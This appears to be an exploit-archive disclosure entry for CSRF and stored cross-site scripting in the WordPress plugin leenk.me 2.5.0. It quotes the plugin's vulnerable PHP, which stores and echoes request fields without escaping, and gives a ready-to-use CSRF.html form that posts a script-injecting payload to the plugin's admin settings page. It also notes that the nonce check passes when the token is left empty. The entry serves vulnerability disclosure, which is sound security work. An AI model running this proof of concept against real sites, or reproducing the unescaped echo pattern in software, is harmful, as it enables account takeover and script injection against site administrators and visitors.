发布 2016-04-18 漏洞条目

WordPress Plugin leenk.me 2.5.0 – Cross-Site Request Forgery / Cross-Site Scripting

Exploit Source

I would like to disclose CSRF and stored XSS vulnerability in Wordpress

plugin LeenkMe version 2.5.0.

The plugin can be found at https://wordpress.org/plugins/leenkme/

In the page wp-content/plugins/leenkme/facebook.php

XSS vulnerable Fields are :

- facebook_message

- facebook_linkname

- facebook_caption

- facebook_description

- default_image

- _wp_http_referer

This CSRF is tested on latest wordpress installation 4.4.2 using firefox

browser.

The Code for CSRF.html is

<html>

<form name="xss" action="

http://127.0.0.1/wp/wp-admin/admin.php?page=leenkme_facebook" method="POST">

<input type="hidden" name="facebook_description" value="

</textarea><script>prompt();</script>" />

<input type="hidden" name="update_facebook_settings"

value="Save Settings" />

</form>

</body>

</html>

The vulnerable page is

wp-content/plugins/leenkme/facebook.php

The vulnerable code producing XSS is

if ( !empty( $_REQUEST['facebook_message'] ) )

$user_settings['facebook_message'] = $_REQUEST['facebook_message'];

else

$user_settings['facebook_message'] = '';

if ( !empty( $_REQUEST['facebook_linkname'] ) )

$user_settings['facebook_linkname'] = $_REQUEST['facebook_linkname'];

else

$user_settings['facebook_linkname'] = '';

if ( !empty( $_REQUEST['facebook_caption'] ) )

$user_settings['facebook_caption'] = $_REQUEST['facebook_caption'];

else

$user_settings['facebook_caption'] = '';

if ( !empty( $_REQUEST['facebook_description'] ) )

$user_settings['facebook_description'] = $_REQUEST['facebook_description'];

-------------------------

snip

------------------------

-------------------------

--------------------------

<td><textarea name="facebook_message" style="width: 500px;"

maxlength="400"><?php

echo $user_settings['facebook_message']; ?></textarea></td>

</tr>

<tr>

<td><?php _e( 'Default Link Name:', 'leenkme'

); ?></td>

<td><input name="facebook_linkname"

type="text" style="width: 500px;" value="<?php echo

$user_settings['facebook_linkname']; ?>" maxlength="100"/></td>

</tr>

<tr>

<td><?php _e( 'Default Caption:', 'leenkme' );

?></td>

<td><input name="facebook_caption"

type="text" style="width: 500px;" value="<?php echo

$user_settings['facebook_caption']; ?>" maxlength="100"/></td>

</tr>

<tr>

<td style='vertical-align: top; padding-top:

5px;'><?php _e( 'Default Description:', 'leenkme' ); ?></td>

<td><textarea name="facebook_description"

style="width: 500px;" maxlength="300"><?php echo

$user_settings['facebook_description']; ?></textarea></td>

The code used to protect against CSRF that is the anti csrf token used is

<?php wp_nonce_field( 'fb_publish', 'fb_publish_wpnonce' ); ?>

But this code is not protecting against the CSRF, the form get submitted

successfully with out any error even though the fb_publish_wpnonce is kept

empty resulting in CSRF vulnerability.

# Author email: cor3sm4sh3r[at]gmail.com

# Contact: https://in.linkedin.com/in/cor3sm4sh3r

# Twitter: https://twitter.com/cor3sm4sh3r

作者: cor3sm4sh3r
日期: 2016-04-18
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection